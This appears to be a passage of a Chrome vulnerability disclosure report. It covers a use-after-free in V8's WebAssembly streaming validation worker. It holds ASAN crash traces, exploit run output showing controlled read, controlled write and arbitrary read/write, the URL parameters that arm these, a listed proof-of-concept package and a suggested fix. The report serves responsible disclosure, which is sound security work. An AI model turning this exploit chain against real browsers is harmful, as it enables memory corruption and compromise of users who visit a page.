Command line: `/proc/self/exe --type=renderer --crashpad-handler-pid=3234431 --enable-crash-reporter=, --noerrdialogs --user-data-dir=/tmp/chrome-vrp-bug1-asan-crash-profile-20260612T010104Z --change-stack-guard-on-fork=enable --no-sandbox --disable-breakpad --ozone-platform=headless --lang=en-US --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --time-ticks-at-unix-epoch=-1778031425899540 --launch-time-ticks=3194642331844 --shared-files=v8_context_snapshot_data:100 --field-trial-handle=3,i,5110095603065809577,10759143092396146351,262144 --disable-features=PaintHolding --variations-seed-version --pseudonymization-salt-handle=7,i,2230811171117207483,3885191951693691263,4 --trace-process-track-uuid=3190708991934122588 --enable-logging=stderr`


==3234593==END OF ADDITIONAL INFO

==3234593==ABORTING

Frame #0 on a thread-pool worker is the validation worker; the freed ValidateFunctionsStreamingJobData was reallocated and the worker reads through the stale pointer.

Controlled read

asan_crash=forged_read64&asan_crash_value=0x414243444546 makes V8 load 8 bytes from an attacker-chosen address. The page logs the armed primitive, then the load faults:

RUN121_ASAN_CONTROLLED_CRASH_ARMED kind=forged_read64 index=1 byte_offset=8 value=0x414243444546 view_byteLength=64 view_length=8 buffer_byteLength=8
RUN121_ASAN_CONTROLLED_REGISTER_CRASH_ARMED kind=forged_read64 target=0x414243444546 forge_arg=0x41424344453e write_value=0x5152535455565758 alias_type=number
=================================================================
==3241928==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7caa9e48c3f8 at pc 0x7ffabf3c3271 bp 0x7bfa7d27a6c0 sp 0x7bfa7d27a6b8
READ of size 8 at 0x7caa9e48c3f8 thread T8 (ThreadPoolForeg)
[0612/010516.751271:ERROR:third_party/crashpad/crashpad/util/file/file_io_posix.cc:145] open /sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq: No such file or directory (2)
[0612/010516.751458:ERROR:third_party/crashpad/crashpad/util/file/file_io_posix.cc:145] open /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq: No such file or directory (2)
Received signal 11 SEGV_ACCERR 7a9c43444545
Received signal 11 SEGV_ACCERR 7a9c43444545

The fault value 7a9c43444545 is the chosen 0x414243444546 after V8 pointer-tag/cage decoding; its high bits match this run’s leaked heap base (RUN119_ADDROF_LEAK value=0x7a9c01077889), so the read address is attacker-derived, not random. Full log: traces/controlled-read-and-arw/chrome.stderr.log.

Controlled write

asan_crash=forged_write64&asan_crash_value=0x414243444546&asan_crash_write_value=0x5152535455565758 makes V8 store an attacker-chosen value to an attacker-chosen address. This run captured the validation worker reading freed signature storage from inside the attacker-driven streaming decode, then the forged store faulting at the chosen address (traces/controlled-write/):

RUN121_ASAN_CONTROLLED_REGISTER_CRASH_ARMED kind=forged_write64 target=0x414243444546 forge_arg=0x41424344453e write_value=0x5152535455565758 alias_type=number
=================================================================
==3481237==ERROR: AddressSanitizer: container-overflow on address 0x7c3aa9c46790 at pc 0x7f8acab1c1e8 bp 0x7b89994761b0 sp 0x7b89994761a8
READ of size 8 at 0x7c3aa9c46790 thread T13 (ThreadPoolForeg)
    #0 0x7f8acab1c1e7 in v8::internal::wasm::ValidateFunctionsStreamingJob::Run(v8::JobDelegate*) gen/third_party/libc++/src/include/__atomic/support/c11.h:81:10
    #1 0x7f8ac55515f3 in base::internal::Invoker<base::internal::FunctorTraits<gin::V8Platform::CreateJobImpl(v8::TaskPriority, std::__Cr::unique_ptr<v8::JobTask, std::__Cr::default_delete<v8::JobTask>>, v8::SourceLocation const&)::$_0 const&, std::__Cr::unique_ptr<v8::JobTask, std::__Cr::default_delete<v8::JobTask>> const&>, base::internal::BindState<false, false, false, gin::V8Platform::CreateJobImpl(v8::TaskPriority, std::__Cr::unique_ptr<v8::JobTask, std::__Cr::default_delete<v8::JobTask>>, v8::SourceLocation const&)::$_0, std::__Cr::unique_ptr<v8::JobTask, std::__Cr::default_delete<v8::JobTask>>>, void (base::JobDelegate*)>::Run(base::internal::BindStateBase*, base::JobDelegate*) gin/v8_platform.cc:301:23
    #2 0x7f8b2e83e88f in base::RepeatingCallback<void (base::JobDelegate*)>::Run(base::JobDelegate*) const & base/functional/callback.h:346:12
    #3 0x7f8b2e83ff7f in base::internal::Invoker<base::internal::FunctorTraits<base::internal::JobTaskSource::JobTaskSource(base::Location const&, base::TaskTraits const&, base::ThreadType, base::RepeatingCallback<void (base::JobDelegate*)>, base::RepeatingCallback<unsigned long (unsigned long)>, base::internal::PooledTaskRunnerDelegate*)::$_0 const&, base::internal::JobTaskSource*>, base::internal::BindState<false, false, false, base::internal::JobTaskSource::JobTaskSource(base::Location const&, base::TaskTraits const&, base::ThreadType, base::RepeatingCallback<void (base::JobDelegate*)>, base::RepeatingCallback<unsigned long (unsigned long)>, base::internal::PooledTaskRunnerDelegate*)::$_0, base::internal::UnretainedWrapper<base::internal::JobTaskSource, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, void ()>::Run(base::internal::BindStateBase*) base/task/thread_pool/job_task_source.cc:114:32
    #4 0x7f8b2e7a0da9 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
    #5 0x7f8b2e8604eb in base::internal::TaskTracker::RunTaskImpl(base::internal::Task&, base::TaskTraits const&, base::internal::TaskSource*, base::internal::SequenceToken const&) base/task/common/task_annotator.h:112:5
    #6 0x7f8b2e860716 in base::internal::TaskTracker::RunSkipOnShutdown(base::internal::Task&, base::TaskTraits const&, base::internal::TaskSource*, base::internal::SequenceToken const&) base/task/thread_pool/task_tracker.cc:675:3
    #7 0x7f8b2e85eccf in base::internal::TaskTracker::RunTask(base::internal::Task, base::internal::TaskSource*, base::TaskTraits const&, base::ThreadType) base/task/thread_pool/task_tracker.cc:705:7
    #8 0x7f8b2e85de8b in base::internal::TaskTracker::RunAndPopNextTask(base::internal::RegisteredTaskSource) base/task/thread_pool/task_tracker.cc:393:5
    #9 0x7f8b2e8845e3 in base::internal::WorkerThread::RunWorker() base/task/thread_pool/worker_thread.cc:473:36
    #10 0x7f8b2e8837fe in base::internal::WorkerThread::RunPooledWorker() base/task/thread_pool/worker_thread.cc:359:3
    #11 0x7f8b2e883212 in base::internal::WorkerThread::ThreadMain() base/task/thread_pool/worker_thread.cc:339:7
    #12 0x7f8b2e9178bc in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:102:13
    #13 0x55721b03afb6 in asan_thread_start(void*) asan_interceptors.cpp

0x7c3aa9c46790 is located 80 bytes inside of 112-byte region [0x7c3aa9c46740,0x7c3aa9c467b0)
allocated by thread T0 (chrome) here:
    #0 0x55721b07663d in operator new(unsigned long) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/chrome+0x679563d) (BuildId: b2222a0c4e545691)
    #1 0x7f8ac8ae228f in std::__Cr::vector<unsigned char, std::__Cr::allocator<unsigned char>>::reserve(unsigned long) gen/third_party/libc++/src/include/__new/allocate.h:42:28
    #2 0x7f8acab4e533 in v8::internal::wasm::WasmModuleSignatureStorage::AllocateMoreStorage(unsigned long) v8/src/wasm/wasm-module.h:749:17
    #3 0x7f8acab4e2ff in v8::internal::wasm::WasmModuleSignatureStorage::Allocate(unsigned long, unsigned long) v8/src/wasm/wasm-module.h:710:7
    #4 0x7f8acab4c9c4 in v8::internal::wasm::ModuleDecoderImpl::consume_sig() v8/src/codegen/signature.h:42:25
    #5 0x7f8acab4bc6e in v8::internal::wasm::ModuleDecoderImpl::consume_base_type_definition(bool, v8::internal::SharedFlag) v8/src/wasm/module-decoder-impl.h:577:34
    #6 0x7f8acab4b3a2 in v8::internal::wasm::ModuleDecoderImpl::consume_described_type(bool, v8::internal::SharedFlag) v8/src/wasm/module-decoder-impl.h:658:14
    #7 0x7f8acab4aa3f in v8::internal::wasm::ModuleDecoderImpl::consume_describing_type(unsigned long, v8::internal::SharedFlag) v8/src/wasm/module-decoder-impl.h:689:14
    #8 0x7f8acab4a298 in v8::internal::wasm::ModuleDecoderImpl::consume_shared_type(unsigned long) v8/src/wasm/module-decoder-impl.h:715:14
    #9 0x7f8acab4875b in v8::internal::wasm::ModuleDecoderImpl::consume_subtype_definition(unsigned long) v8/src/wasm/module-decoder-impl.h:749:14
    #10 0x7f8acab39d85 in v8::internal::wasm::ModuleDecoderImpl::DecodeTypeSection() v8/src/wasm/module-decoder-impl.h:780:31
    #11 0x7f8acab2cf89 in v8::internal::wasm::ModuleDecoderImpl::DecodeSection(v8::internal::wasm::SectionCode, v8::base::Vector<unsigned char const>, unsigned int) v8/src/wasm/module-decoder-impl.h:437:9
    #12 0x7f8acab12fb9 in v8::internal::wasm::AsyncStreamingProcessor::ProcessSection(v8::internal::wasm::SectionCode, v8::base::Vector<unsigned char const>, unsigned int) v8/src/wasm/module-compiler.cc:3159:12
    #13 0x7f8acabaa938 in v8::internal::wasm::AsyncStreamingDecoder::DecodeSectionPayload::Next(v8::internal::wasm::AsyncStreamingDecoder*) v8/src/wasm/streaming-decoder.cc:196:22
    #14 0x7f8acaba752d in v8::internal::wasm::AsyncStreamingDecoder::OnBytesReceived(v8::base::Vector<unsigned char const>) v8/src/wasm/streaming-decoder.cc:328:26
    #15 0x7f8acac5de28 in v8::WasmStreaming::OnBytesReceived(unsigned char const*, unsigned long) v8/src/wasm/wasm-js.cc:77:25
    #16 0x7f8ad7c581fa in blink::(anonymous namespace)::FetchDataLoaderForWasmStreaming::OnStateChange() v8_wasm_response_extensions.cc
    #17 0x7f8ad9071e97 in blink::ReadableStreamBytesConsumer::OnRead(blink::DOMTypedArray<unsigned char, v8::Uint8Array, false>*) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/libblink_core.so+0x403be97) (BuildId: 86034637d8af1588)
    #18 0x7f8ad9073857 in base::internal::Invoker<base::internal::FunctorTraits<void (blink::ReadableStreamBytesConsumer::*&&)(blink::DOMTypedArray<unsigned char, v8::Uint8Array, false>*), cppgc::internal::BasicPersistent<blink::ReadableStreamBytesConsumer, cppgc::internal::StrongPersistentPolicy, cppgc::internal::IgnoreLocationPolicy, cppgc::internal::DisabledCheckingPolicy>&&, cppgc::internal::BasicPersistent<blink::DOMTypedArray<unsigned char, v8::Uint8Array, false>, cppgc::internal::StrongPersistentPolicy, cppgc::internal::IgnoreLocationPolicy, cppgc::internal::DisabledCheckingPolicy>&&>, base::internal::BindState<true, true, false, void (blink::ReadableStreamBytesConsumer::*)(blink::DOMTypedArray<unsigned char, v8::Uint8Array, false>*), cppgc::internal::BasicPersistent<blink::ReadableStreamBytesConsumer, cppgc::internal::StrongPersistentPolicy, cppgc::internal::IgnoreLocationPolicy, cppgc::internal::DisabledCheckingPolicy>, cppgc::internal::BasicPersistent<blink::DOMTypedArray<unsigned char, v8::Uint8Array, false>, cppgc::internal::StrongPersistentPolicy, cppgc::internal::IgnoreLocationPolicy, cppgc::internal::DisabledCheckingPolicy>>, void ()>::RunOnce(base::internal::BindStateBase*) readable_stream_bytes_consumer.cc
    #19 0x7f8ad0a47d08 in blink::scheduler::EventLoop::RunPendingMicrotask(void*) base/functional/callback.h:155:12
    #20 0x7f8ac9e95fa5 in v8::internal::Runtime_RunMicrotaskCallback(int, unsigned long*, v8::internal::Isolate*) v8/src/runtime/runtime-promise.cc:93:3
    #21 0x7b8a772804b5  (<unknown module>)
    #22 0x7b8a771ffef5  (<unknown module>)
    #23 0x7b8a771cb62a  (<unknown module>)
    #24 0x7f8ac8d01fa8 in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) v8/src/execution/execution.cc:493:41
    #25 0x7f8ac8d03da9 in v8::internal::(anonymous namespace)::InvokeWithTryCatch(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) v8/src/execution/execution.cc:535:18
    #26 0x7f8ac8d041af in v8::internal::Execution::TryRunMicrotasks(v8::internal::Isolate*, v8::internal::MicrotaskQueue*) v8/src/execution/execution.cc:639:10
    #27 0x7f8ac8dabdf1 in v8::internal::MicrotaskQueue::RunMicrotasks(v8::internal::Isolate*) v8/src/execution/microtask-queue.cc:185:22
    #28 0x7f8ac8dab9b4 in v8::internal::MicrotaskQueue::PerformCheckpointInternal(v8::Isolate*) v8/src/execution/microtask-queue.cc:129:3
    #29 0x7f8ad7c3fc55 in blink::V8ScriptRunner::CallFunction(v8::Local<v8::Function>, blink::ExecutionContext*, v8::Local<v8::Value>, int, v8::Local<v8::Value>*, v8::Isolate*) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/libblink_core.so+0x2c09c55) (BuildId: 86034637d8af1588)

Thread T13 (ThreadPoolForeg) created by T8 (ThreadPoolForeg) here:
    #0 0x55721b020e31 in pthread_create (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/chrome+0x673fe31) (BuildId: b2222a0c4e545691)
    #1 0x7f8b2e916f7c in base::(anonymous namespace)::CreateThread(unsigned long, bool, base::PlatformThreadBase::Delegate*, base::PlatformThreadHandle*, base::ThreadType, base::MessagePumpType) base/threading/platform_thread_posix.cc:153:13
    #2 0x7f8b2e882011 in base::internal::WorkerThread::Start(scoped_refptr<base::SingleThreadTaskRunner>, base::WorkerThreadObserver*) base/task/thread_pool/worker_thread.cc:185:3
    #3 0x7f8b2e862802 in base::internal::ThreadGroup::BaseScopedCommandsExecutor::Flush() base/task/thread_pool/thread_group.cc:65:13
    #4 0x7f8b2e86248e in base::internal::ThreadGroup::BaseScopedCommandsExecutor::~BaseScopedCommandsExecutor() base/task/thread_pool/thread_group.cc:56:3
    #5 0x7f8b2e86c106 in base::internal::ThreadGroupImpl::WorkerDelegate::GetWork(base::internal::WorkerThread*) base/task/thread_pool/thread_group_impl.cc:71:3
    #6 0x7f8b2e88442a in base::internal::WorkerThread::RunWorker() base/task/thread_pool/worker_thread.cc:460:52
    #7 0x7f8b2e8837fe in base::internal::WorkerThread::RunPooledWorker() base/task/thread_pool/worker_thread.cc:359:3
    #8 0x7f8b2e883212 in base::internal::WorkerThread::ThreadMain() base/task/thread_pool/worker_thread.cc:339:7
    #9 0x7f8b2e9178bc in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:102:13
    #10 0x55721b03afb6 in asan_thread_start(void*) asan_interceptors.cpp

Thread T8 (ThreadPoolForeg) created by T4 (ThreadPoolForeg) here:
    #0 0x55721b020e31 in pthread_create (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/chrome+0x673fe31) (BuildId: b2222a0c4e545691)
    #1 0x7f8b2e916f7c in base::(anonymous namespace)::CreateThread(unsigned long, bool, base::PlatformThreadBase::Delegate*, base::PlatformThreadHandle*, base::ThreadType, base::MessagePumpType) base/threading/platform_thread_posix.cc:153:13
    #2 0x7f8b2e882011 in base::internal::WorkerThread::Start(scoped_refptr<base::SingleThreadTaskRunner>, base::WorkerThreadObserver*) base/task/thread_pool/worker_thread.cc:185:3
    #3 0x7f8b2e862802 in base::internal::ThreadGroup::BaseScopedCommandsExecutor::Flush() base/task/thread_pool/thread_group.cc:65:13
    #4 0x7f8b2e86248e in base::internal::ThreadGroup::BaseScopedCommandsExecutor::~BaseScopedCommandsExecutor() base/task/thread_pool/thread_group.cc:56:3
    #5 0x7f8b2e86c106 in base::internal::ThreadGroupImpl::WorkerDelegate::GetWork(base::internal::WorkerThread*) base/task/thread_pool/thread_group_impl.cc:71:3
    #6 0x7f8b2e88442a in base::internal::WorkerThread::RunWorker() base/task/thread_pool/worker_thread.cc:460:52
    #7 0x7f8b2e8837fe in base::internal::WorkerThread::RunPooledWorker() base/task/thread_pool/worker_thread.cc:359:3
    #8 0x7f8b2e883212 in base::internal::WorkerThread::ThreadMain() base/task/thread_pool/worker_thread.cc:339:7
    #9 0x7f8b2e9178bc in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:102:13
    #10 0x55721b03afb6 in asan_thread_start(void*) asan_interceptors.cpp

Thread T4 (ThreadPoolForeg) created by T0 (chrome) here:
[0612/031508.488241:ERROR:third_party/crashpad/crashpad/util/file/file_io_posix.cc:145] open /sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq: No such file or directory (2)
[0612/031508.488477:ERROR:third_party/crashpad/crashpad/util/file/file_io_posix.cc:145] open /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq: No such file or directory (2)
[0612/031508.510884:ERROR:third_party/crashpad/crashpad/util/process/process_memory_linux.cc:50] pread64: Input/output error (5)
Received signal 11 SEGV_ACCERR 7a2c43444545
Received signal 11 SEGV_ACCERR 7a2c43444545

The crash stack ties the bug to the attacker’s input directly: ReadableStreamBytesConsumer::OnReadFetchDataLoaderForWasmStreamingWasmStreaming::OnBytesReceivedAsyncStreamingProcessor::ProcessSection (module-compiler.cc:3159) → ValidateFunctionsStreamingJob::Run, with the freed region allocated by WasmModuleSignatureStorage::Allocate during decode. The trailing Received signal 11 SEGV_ACCERR 7a2c43444545 is the forged store faulting at the chosen address (0x414243444546 after cage decoding; high bits match this run’s heap base).

Arbitrary read/write

Combining the two, the same control yields a full read/modify/read over a victim BigUint64Array: the page leaks its address, aliases its length field, reads it, overwrites it, and reads it back, and the corruption is visible from JavaScript:

RUN119_ADDROF_LEAK value=0x7a9c01077889
RUN120_ARW_OBJECT value=0x7a9c01077a89
RUN120_ARW_READ_BEFORE value=0x100000000
RUN120_ARW_WRITE value=0x800000000
RUN120_ARW_READ_AFTER value=0x800000000 byteLength=64 length=8
RUN120_ARW_CONTROL
RUN122_ARW_TYPED_ARRAY_SHOWCASE object=0x7a9c01077a89 field=0x7a9c01077aa9 before=0x100000000 write=0x800000000 after=0x800000000 byteLength=64 length=8

The alias re-read returns the value just written and the victim’s JavaScript-visible byteLength changes from 8 to 64 — a corrupted length reflected in script-reachable state, which distinguishes genuine arbitrary read/write from an incidental crash. Full log: traces/controlled-read-and-arw/chrome.stderr.log.

What this proves

  • Controlled read — a load from an attacker-chosen address.
  • Controlled write — a store of an attacker-chosen value to an attacker-chosen address.
  • Arbitrary read/write — read + write of a victim object, reflected in JavaScript state.
  • All reachable from a web page; renderer memory corruption with no user interaction beyond visiting the page.
  • Not claimed: browser-process or operating-system compromise.

Suggested fix

Make the discard path match the safe abort/finish paths for validation-worker lifetime:

  • cancel or join validate_functions_job_handle_ before freeing ValidateFunctionsStreamingJobData;
  • ensure AsyncStreamingProcessor::~AsyncStreamingProcessor() cannot free validation state while any ValidateFunctionsStreamingJob::Run() can still dereference it;
  • treat shared ownership of validation data as defense in depth, not a replacement for cancellation;
  • keep fail-stop CHECKs, but do not rely on a release CHECK_NULL as the complete fix unless worker cancellation is also guaranteed.

Package contents

01-wasm-streaming-validation-uaf-submission.md   this report
repro-steps.md                                   condensed run instructions
poc/serve_poc.py                                 Python static server
poc/index.html                                   Payment Handler registration + entry
poc/payment-handler-sw.js                        service worker that opens the exploit page
poc/payment-manifest.json                        Payment Handler manifest
poc/payment-icon.png                             manifest icon
poc/wasm-asan-controlled-crash-poc.html          exploit (UAF -> controlled read/write -> ARW)
traces/plain-uaf-crash/                          plain validation-worker UAF crash (full ASAN stderr + url + notes)
traces/controlled-read-and-arw/                  controlled-read + ARW + chosen-address crash (full ASAN stderr + url + notes)
traces/controlled-write/                         controlled-write run, Run() container-overflow + forged store (full ASAN stderr + url + notes)

Credit

Duc Nguyen of Calif.io in collaboration with OpenAI Codex Security

View on issue tracker